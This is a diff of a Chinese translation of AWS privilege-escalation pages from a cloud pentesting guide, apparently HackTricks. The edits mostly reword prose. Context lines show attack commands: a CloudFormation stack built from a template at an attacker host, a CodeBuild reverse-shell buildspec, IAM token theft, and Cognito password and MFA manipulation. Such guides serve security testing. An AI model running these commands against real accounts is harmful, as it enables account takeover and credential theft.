a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -17,7 +17,7 @@ #### 自定义脚本 -以下脚本将使用默认配置文件和默认 AWS 位置(非政府和非中国)为您提供一个签名 URL,您可以用它登录网络控制台: +以下脚本将使用默认配置文件和默认 AWS 位置(非政府和非中国)为您提供一个可以用于登录网络控制台的签名 URL: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` @@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **通过 Python 绕过 User-Agent 限制** -如果存在 **基于用户代理执行某些操作的限制**(例如,基于用户代理限制使用 python boto3 库),可以使用前面的技术 **通过浏览器连接到 web 控制台**,或者您可以直接 **通过以下方式修改 boto3 用户代理**: +如果存在 **基于用户代理执行某些操作的限制**(例如,基于用户代理限制使用 python boto3 库),可以使用前面提到的技术 **通过浏览器连接到 web 控制台**,或者您可以直接 **通过以下方式修改 boto3 用户代理**: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index d1ea4db27..ee970d1f5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -4,13 +4,13 @@ ## AWS 权限提升 -在 AWS 中提升权限的方法是拥有足够的权限,以便能够以某种方式访问其他角色/用户/组的权限。通过链式提升,直到您获得组织的管理员访问权限。 +在 AWS 中提升权限的方法是拥有足够的权限,以便能够以某种方式访问其他角色/用户/组的权限。通过链式提升,直到您获得对组织的管理员访问权限。 > [!WARNING] -> AWS 有 **数百**(如果不是数千)个 **权限** 可以授予实体。在本书中,您可以找到 **我知道的所有权限**,您可以利用这些权限来 **提升权限**,但如果您 **知道一些未提及的路径**,**请分享**。 +> AWS 有 **数百**(如果不是数千)个 **权限** 可以授予实体。在本书中,您可以找到 **我所知道的所有权限**,您可以利用这些权限来 **提升权限**,但如果您 **知道一些未提及的路径**,**请分享**。 > [!CAUTION] -> 如果 IAM 策略具有 `"Effect": "Allow"` 和 `"NotAction": "Someaction"` 指示一个 **资源**... 这意味着 **被允许的主体** 有 **权限执行除指定操作以外的任何操作**。\ +> 如果 IAM 策略具有 `"Effect": "Allow"` 和 `"NotAction": "Someaction"` 指示 **资源**... 这意味着 **允许的主体** 有 **权限执行除指定操作以外的任何操作**。\ > 所以请记住,这是一种 **授予主体特权权限** 的另一种方式。 **本节的页面按 AWS 服务排序。在这里,您将能够找到允许您提升权限的权限。** diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 99be2c6ac..c9897e1bc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -16,7 +16,7 @@ ```bash aws --region apigateway create-api-key ``` -**潜在影响:** 你无法通过此技术进行权限提升,但你可能会获得敏感信息的访问权限。 +**潜在影响:** 你无法通过这种技术进行权限提升,但你可能会获得敏感信息的访问权限。 ### `apigateway:GET` @@ -29,7 +29,7 @@ aws --region apigateway get-api-key --api-key --include-value ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -拥有这些权限后,可以修改API的资源策略,以便为自己提供调用它的权限,并滥用API网关可能具有的潜在访问权限(例如调用一个脆弱的lambda)。 +拥有这些权限后,可以修改 API 的资源策略,以便让自己获得调用它的权限,并滥用 API 网关可能具有的潜在访问权限(例如调用一个易受攻击的 lambda)。 ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ @@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**潜在影响**:访问与Lambda函数的IAM角色相关的资源。 +**潜在影响**:访问与 Lambda 函数的 IAM 角色相关的资源。 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] > 需要测试 -拥有权限`apigateway:UpdateAuthorizer`和`apigateway:CreateDeployment`的攻击者可以**修改现有的API Gateway授权者**以绕过安全检查或在API请求时执行任意代码。 +拥有 `apigateway:UpdateAuthorizer` 和 `apigateway:CreateDeployment` 权限的攻击者可以**修改现有的 API Gateway 授权者**,以绕过安全检查或在进行 API 请求时执行任意代码。 ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index e11e41cea..56ffcc06b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, `cloudformation:CreateStack` -具有这些权限的攻击者 **可以提升权限**,通过制作一个 **CloudFormation 堆栈**,使用托管在其服务器上的自定义模板,**在指定角色的权限下执行操作:** +具有这些权限的攻击者**可以提升权限**,通过制作一个**CloudFormation 堆栈**,使用托管在其服务器上的自定义模板,**以指定角色的权限执行操作:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -43,7 +43,7 @@ aws cloudformation update-stack \ ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -如果你拥有这个权限但 **没有 `iam:PassRole`**,你仍然可以 **更新已使用的堆栈** 并滥用 **它们已经附加的 IAM 角色**。请查看前面的部分以获取利用示例(只需在更新中不指明任何角色)。 +如果你拥有这个权限但 **没有 `iam:PassRole`**,你仍然可以 **更新已使用的堆栈** 并滥用 **它们已经附加的 IAM 角色**。查看前面的部分以获取利用示例(只需在更新中不指明任何角色)。 `cloudformation:SetStackPolicy` 权限可以用来 **给自己 `UpdateStack` 权限** 以便对一个堆栈进行攻击。 @@ -79,7 +79,7 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `ChangeSet` 权限** 以便对一个堆栈执行攻击。 +`cloudformation:SetStackPolicy` 权限可以用来 **给自己 `ChangeSet` 权限** 以便对堆栈执行攻击。 **潜在影响:** 提升到 cloudformation 服务角色的权限。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index b154ab0d5..c8041842b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -55,7 +55,7 @@ } } ``` -然后**生成云形成堆栈**: +然后**生成 CloudFormation 堆栈**: ```bash aws cloudformation create-stack --stack-name privesc \ --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ @@ -68,7 +68,7 @@ aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ --region uswest-2 ``` -### 参考文献 +### 参考 - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index ae33bb59c..21b012081 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -仅凭其中一个权限就足以触发一个新的 buildspec 的构建,并窃取分配给该项目的 iam 角色的令牌: +仅凭其中一个权限就足以触发一个新的 buildspec 的构建,并窃取分配给项目的 iam 角色的令牌: {{#tabs }} {{#tab name="StartBuild" }} @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -拥有 **`iam:PassRole`, `codebuild:CreateProject` 和 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者将能够 **通过创建一个正在运行的构建来提升到任何 codebuild IAM 角色**。 +拥有 **`iam:PassRole`, `codebuild:CreateProject` 和 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者将能够通过创建一个正在运行的构建来 **提升到任何 codebuild IAM 角色**。 {{#tabs }} {{#tab name="Example1" }} @@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} -{{#tab name="示例2" }} +{{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command @@ -148,9 +148,9 @@ aws codebuild start-build --project-name reverse-shell-project > 此外,它还包含 **环境变量 `ECS_CONTAINER_METADATA_URI`**,其中包含获取 **容器元数据** 的完整 URL。 -### `iam:PassRole`,`codebuild:UpdateProject`,(`codebuild:StartBuild` | `codebuild:StartBuildBatch`) +### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -就像在前一节中一样,如果您可以修改而不是创建构建项目,您可以指示 IAM 角色并窃取令牌。 +就像在上一节中一样,如果您可以修改而不是创建构建项目,您可以指示 IAM 角色并窃取令牌。 ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -188,7 +188,7 @@ aws codebuild start-build --project-name codebuild-demo-project ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -与前一节相似,但**没有 `iam:PassRole` 权限**,您可以利用这些权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。 +与前一部分类似,但**没有 `iam:PassRole` 权限**,您可以利用这些权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。 {{#tabs }} {{#tab name="StartBuild" }} @@ -264,11 +264,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**潜在影响:** 直接提升到附加的 AWS Codebuild 角色。 +**潜在影响:** 直接提升附加的 AWS Codebuild 角色的权限。 ### SSM -拥有 **足够的权限来启动 ssm 会话**,可以进入 **正在构建的 Codebuild 项目**。 +拥有 **足够的权限来启动 ssm 会话**,可以进入正在构建的 **Codebuild 项目**。 Codebuild 项目需要有一个断点: @@ -285,13 +285,13 @@ commands: aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -For more info [**查看文档**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +有关更多信息 [**查看文档**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` 能够启动/重启特定 CodeBuild 项目的构建的攻击者,如果该项目的 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中,则可以在 CodeBuild 过程中获得命令执行。 -注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时,升级才是相关的,理想情况下,工作人员的角色具有更高的权限。 +注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时,这种提升才相关,理想情况下,工作角色的权限更高。 ```bash aws s3 cp s3:///buildspec.yml ./ @@ -320,9 +320,9 @@ commands: **影响:** 直接提升到 AWS CodeBuild 工作人员使用的角色,该角色通常具有高权限。 > [!WARNING] -> 请注意,buildspec 可能以 zip 格式预期,因此攻击者需要下载、解压、修改根目录中的 `buildspec.yml`,然后重新压缩并上传。 +> 请注意,buildspec 可能以 zip 格式提供,因此攻击者需要下载、解压、修改根目录中的 `buildspec.yml`,然后重新压缩并上传。 -更多详细信息可以在 [这里](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) 找到。 +更多细节可以在 [这里](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) 找到。 **潜在影响:** 直接提升到附加的 AWS Codebuild 角色。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index c8c2c123c..36afdea46 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -12,13 +12,13 @@ ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -在创建代码管道时,您可以指示一个 **codepipeline IAM 角色来运行**,因此您可以妥协它们。 +在创建代码管道时,您可以指示一个 **codepipeline IAM 角色来运行**,因此您可能会妥协它们。 除了之前的权限,您还需要 **访问存储代码的位置**(S3、ECR、github、bitbucket...) -我通过在网页上进行该过程进行了测试,之前提到的权限不是创建代码管道所需的 List/Get 权限,但要在网页上创建它,您还需要:`codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +我通过在网页上进行该过程进行了测试,之前提到的权限不是创建代码管道所需的 List/Get 权限,但在网页上创建它时,您还需要:`codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -在 **创建构建项目** 时,您可以指示一个 **要运行的命令**(rev shell?)并以 **特权用户** 运行构建阶段,这就是攻击者需要妥协的配置: +在 **创建构建项目** 时,您可以指示一个 **要运行的命令**(rev shell?)并将构建阶段作为 **特权用户** 运行,这就是攻击者需要妥协的配置: ![](<../../../images/image (276).png>) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index f461741ea..e703d78ba 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -60,7 +60,7 @@ codestar-createproject-codestar-associateteammember.md - `awscodestar--lambda` - 确切名称取决于所选模板(参考示例利用脚本)。 3. **访问和权限:** -- 更新后,您获得与堆栈关联的**CloudFormation IAM角色**分配的能力。 +- 更新后,您将获得与堆栈关联的**CloudFormation IAM角色**分配的能力。 - 注意:这并不固有地提供完全的管理员权限。可能需要环境中其他配置错误的资源来进一步提升权限。 有关更多信息,请查看原始研究:[https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)。\ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index b418f1d8c..05080cef3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -4,7 +4,7 @@ 通过这些权限,您可以**滥用 codestar IAM 角色**来通过**cloudformation 模板**执行**任意操作**。 -要利用这一点,您需要创建一个**可以从被攻击账户访问的 S3 存储桶**。上传一个名为 `toolchain.json` 的文件。该文件应包含**cloudformation 模板漏洞**。以下内容可用于将托管策略设置为您控制的用户,并**授予其管理员权限**: +要利用这一点,您需要创建一个**可从被攻击账户访问的 S3 存储桶**。上传一个名为 `toolchain.json` 的文件。该文件应包含**cloudformation 模板漏洞**。以下内容可用于将托管策略设置为您控制的用户,并**授予其管理员权限**: ```json:toolchain.json { "Resources": { @@ -28,13 +28,13 @@ } } ``` -也**上传**这个 `empty zip` 文件到 **bucket**: +还要将这个 `empty zip` 文件上传到 **bucket**: {% file src="../../../../images/empty.zip" %} 请记住,**包含这两个文件的 bucket 必须可以被受害者账户访问**。 -上传完这两样东西后,您现在可以继续进行 **exploitation** 创建一个 **codestar** 项目: +上传完这两样东西后,您现在可以继续进行 **exploitation**,创建一个 **codestar** 项目: ```bash PROJECT_NAME="supercodestar" @@ -79,6 +79,6 @@ aws codestar create-project \ --source-code file://$SOURCE_CODE_PATH \ --toolchain file://$TOOLCHAIN_PATH ``` -此漏洞基于**这些权限的Pacu漏洞**:[https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) 在这里你可以找到为角色创建管理员管理策略的变体,而不是为用户创建。 +此漏洞基于**这些权限的Pacu漏洞**:[https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) 在其中,您可以找到为角色创建管理员管理策略的变体,而不是为用户创建。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ba2977e3e..46245f546 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -16,7 +16,7 @@ 有关更多信息,请[**查看此页面**](../aws-unauthenticated-enum-access/#cognito)。 -**潜在影响:** 直接权限提升到附加给未认证用户的服务角色(可能也包括附加给已认证用户的角色)。 +**潜在影响:** 直接提升到附加到未认证用户的服务角色(可能还包括附加到已认证用户的角色)。 ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` @@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` -如果 Cognito 应用 **没有启用未认证用户**,您可能还需要权限 `cognito-identity:UpdateIdentityPool` 来启用它。 +如果cognito应用**没有启用未认证用户**,您可能还需要权限`cognito-identity:UpdateIdentityPool`来启用它。 -**潜在影响:** 直接的权限提升到任何 Cognito 角色。 +**潜在影响:** 直接提升到任何cognito角色。 ### `cognito-identity:update-identity-pool` -拥有此权限的攻击者可以设置例如一个在他控制下的 Cognito 用户池或任何其他身份提供者,在那里他可以登录 **以访问此 Cognito 身份池**。然后,只需在该用户提供者上 **登录** 就会 **允许他访问身份池中配置的认证角色**。 +拥有此权限的攻击者可以设置例如一个在其控制下的Cognito用户池或任何其他身份提供者,在那里他可以登录**以访问此Cognito身份池**。然后,只需在该用户提供者上**登录**将**允许他访问身份池中配置的认证角色**。 ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider @@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \ --identity-id \ --logins cognito-idp..amazonaws.com/= ``` -这也可以**滥用此权限以允许基本身份验证**: +也可以**滥用此权限以允许基本身份验证**: ```bash aws cognito-identity update-identity-pool \ --identity-pool-id \ @@ -88,11 +88,11 @@ aws cognito-idp admin-add-user-to-group \ ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` -**潜在影响:** 提升到其他Cognito IAM角色。 +**潜在影响:** 提升到其他 Cognito IAM 角色。 ### `cognito-idp:AdminConfirmSignUp` -此权限允许**验证注册**。默认情况下,任何人都可以登录Cognito应用程序,如果不加以限制,用户可以使用任何数据创建帐户并通过此权限进行验证。 +此权限允许**验证注册**。默认情况下,任何人都可以登录 Cognito 应用程序,如果不加以限制,用户可以使用任何数据创建帐户并通过此权限进行验证。 ```bash aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ @@ -115,13 +115,13 @@ aws cognito-idp admin-create-user \ ### `cognito-idp:AdminEnableUser` -此权限可以在非常边缘的情况下提供帮助,攻击者发现了一个禁用用户的凭证,并且他需要**再次启用它**。 +此权限可以在非常边缘的情况下提供帮助,攻击者发现了一个禁用用户的凭证,并且他需要**重新启用它**。 ```bash aws cognito-idp admin-enable-user \ --user-pool-id \ --username ``` -**潜在影响:** 间接提升到身份池 IAM 角色的权限,适用于经过身份验证的用户和用户的权限,如果攻击者拥有禁用用户的凭证。 +**潜在影响:** 间接提升对身份池 IAM 角色的权限,适用于经过身份验证的用户和用户的权限,如果攻击者拥有禁用用户的凭证。 ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** @@ -129,7 +129,7 @@ aws cognito-idp admin-enable-user \ ### `cognito-idp:AdminSetUserPassword` -此权限将允许攻击者 **更改任何用户的密码**,使其能够冒充任何用户(不启用 MFA 的用户)。 +此权限将允许攻击者 **更改任何用户的密码**,使其能够冒充任何用户(未启用 MFA 的用户)。 ```bash aws cognito-idp admin-set-user-password \ --user-pool-id \ @@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \ --password \ --permanent ``` -**潜在影响:** 直接的权限提升,可能影响任何用户,因此可以访问每个用户所属于的所有组以及访问身份池认证的 IAM 角色。 +**潜在影响:** 直接的权限提升可能影响任何用户,因此可以访问每个用户所属于的所有组以及访问身份池认证的 IAM 角色。 ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` @@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \ --username \ --user-pool-id ``` -**SetUserPoolMfaConfig**: 类似于前一个权限,此权限可用于设置用户池的 MFA 首选项,以绕过 MFA 保护。 +**SetUserPoolMfaConfig**: 类似于前一个权限,此权限可用于设置用户池的 MFA 偏好,以绕过 MFA 保护。 ```bash aws cognito-idp set-user-pool-mfa-config \ --user-pool-id \ @@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** 也可以更新用户池以更改 MFA 策略。 [在这里查看 cli](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。 +**UpdateUserPool:** 也可以更新用户池以更改 MFA 策略。 [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。 **Potential Impact:** 间接的权限提升,可能针对攻击者知道凭据的任何用户,这可能允许绕过 MFA 保护。 @@ -178,13 +178,13 @@ aws cognito-idp admin-update-user-attributes \ --username \ --user-attributes ``` -**潜在影响:** 在使用 Cognito 用户池的基础应用程序中,可能会间接提升权限,基于用户属性授予权限。 +**潜在影响:** 通过使用 Cognito 用户池在基础应用程序中可能间接提升权限,基于用户属性授予权限。 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -拥有此权限的攻击者可以**创建一个新的用户池客户端,其限制低于**现有的池客户端。例如,新的客户端可以允许任何类型的方法进行身份验证,没有任何秘密,禁用令牌撤销,允许令牌有效期更长... +拥有此权限的攻击者可以**创建一个比现有用户池客户端限制更少的新用户池客户端**。例如,新客户端可以允许任何类型的方法进行身份验证,没有任何密钥,禁用令牌撤销,允许令牌有效期更长... -如果不是创建一个新客户端,而是**修改现有客户端**,也可以做到这一点。 +如果不是创建新客户端,而是**修改现有客户端**,也可以做到这一点。 在 [**命令行**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)(或 [**更新命令**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))中,您可以查看所有选项,检查一下! ```bash @@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \ --client-name \ [...] ``` -**潜在影响:** 通过创建一个放宽安全措施的新客户端,可能间接导致对用户池使用的身份池授权用户的权限提升,使攻击者能够使用他能够创建的用户登录。 +**潜在影响:** 通过创建一个放宽安全措施的新客户端,可能间接提升对用户池使用的身份池授权用户的权限,使攻击者能够使用他能够创建的用户登录。 ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` @@ -214,13 +214,13 @@ aws cognito-idp start-user-import-job \ curl -v -T "PATH_TO_CSV_FILE" \ -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` -(在创建新导入作业的情况下,您可能还需要 iam passrole 权限,我还没有测试过)。 +(在您创建新的导入作业的情况下,您可能还需要 iam passrole 权限,我还没有测试过)。 -**潜在影响:** 直接提升到经过身份验证的用户的身份池 IAM 角色。间接提升到其他应用功能,能够创建任何用户。 +**潜在影响:** 直接提升权限到身份池 IAM 角色,适用于经过身份验证的用户。间接提升权限到其他应用功能,能够创建任何用户。 ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -攻击者可以创建一个新的身份提供者,从而能够通过该提供者**登录**。 +攻击者可以创建一个新的身份提供者,从而能够**通过该提供者登录**。 ```bash aws cognito-idp create-identity-provider \ --user-pool-id \ @@ -230,20 +230,20 @@ aws cognito-idp create-identity-provider \ [--attribute-mapping ] \ [--idp-identifiers ] ``` -**潜在影响:** 直接提升到经过身份验证的用户的身份池 IAM 角色。间接提升到其他应用功能,能够创建任何用户。 +**潜在影响:** 直接提升到身份池 IAM 角色的认证用户。间接提升到其他应用功能,能够创建任何用户。 ### cognito-sync:\* 分析 -这是 Cognito 身份池角色中默认的非常常见的权限。即使权限中的通配符看起来总是不好(特别是来自 AWS),**给定的权限从攻击者的角度来看并不是特别有用**。 +这是 Cognito 身份池角色中默认的非常常见的权限。即使权限中的通配符看起来总是不好(特别是来自 AWS),**给定的权限从攻击者的角度来看并不是非常有用**。 此权限允许读取身份池和身份池内身份 ID 的使用信息(这不是敏感信息)。\ 身份 ID 可能有 [**数据集**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) 分配给它们,这些是会话的信息(AWS 将其定义为 **保存的游戏**)。这可能包含某种敏感信息(但概率相当低)。您可以在 [**枚举页面**](../aws-services/aws-cognito-enum/) 找到如何访问这些信息。 -攻击者还可以使用这些权限来 **注册自己到一个 Cognito 流,以发布这些数据集上的更改** 或 **在 Cognito 事件上触发的 Lambda**。我没有看到过这种用法,我也不期望这里有敏感信息,但这并不是不可能的。 +攻击者还可以使用这些权限来 **注册自己到一个发布这些数据集更改的 Cognito 流** 或 **在 Cognito 事件上触发的 lambda**。我没有见过这种用法,我也不期望这里有敏感信息,但这并不是不可能的。 ### 自动化工具 -- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括 "cognito\_\_enum" 和 "cognito\_\_attack" 模块,这些模块自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的 ID 令牌等的权限提升。 +- [Pacu](https://github.com/RhinoSecurityLabs/pacu),AWS 利用框架,现在包括 "cognito\_\_enum" 和 "cognito\_\_attack" 模块,这些模块自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的权限提升等。 有关模块功能的描述,请参见 [博客文章](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 的第 2 部分。有关安装说明,请参见主 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 页面。 @@ -259,7 +259,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 编写的 CLI 工具,实施对 Cognito 的不同攻击,包括权限提升。 +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) 是一个用 Python 实现的 CLI 工具,针对 Cognito 实施不同的攻击,包括权限提升。 #### 安装 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 61789404d..2b8ab1038 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -有关datapipeline的更多信息,请查看: +有关 datapipeline 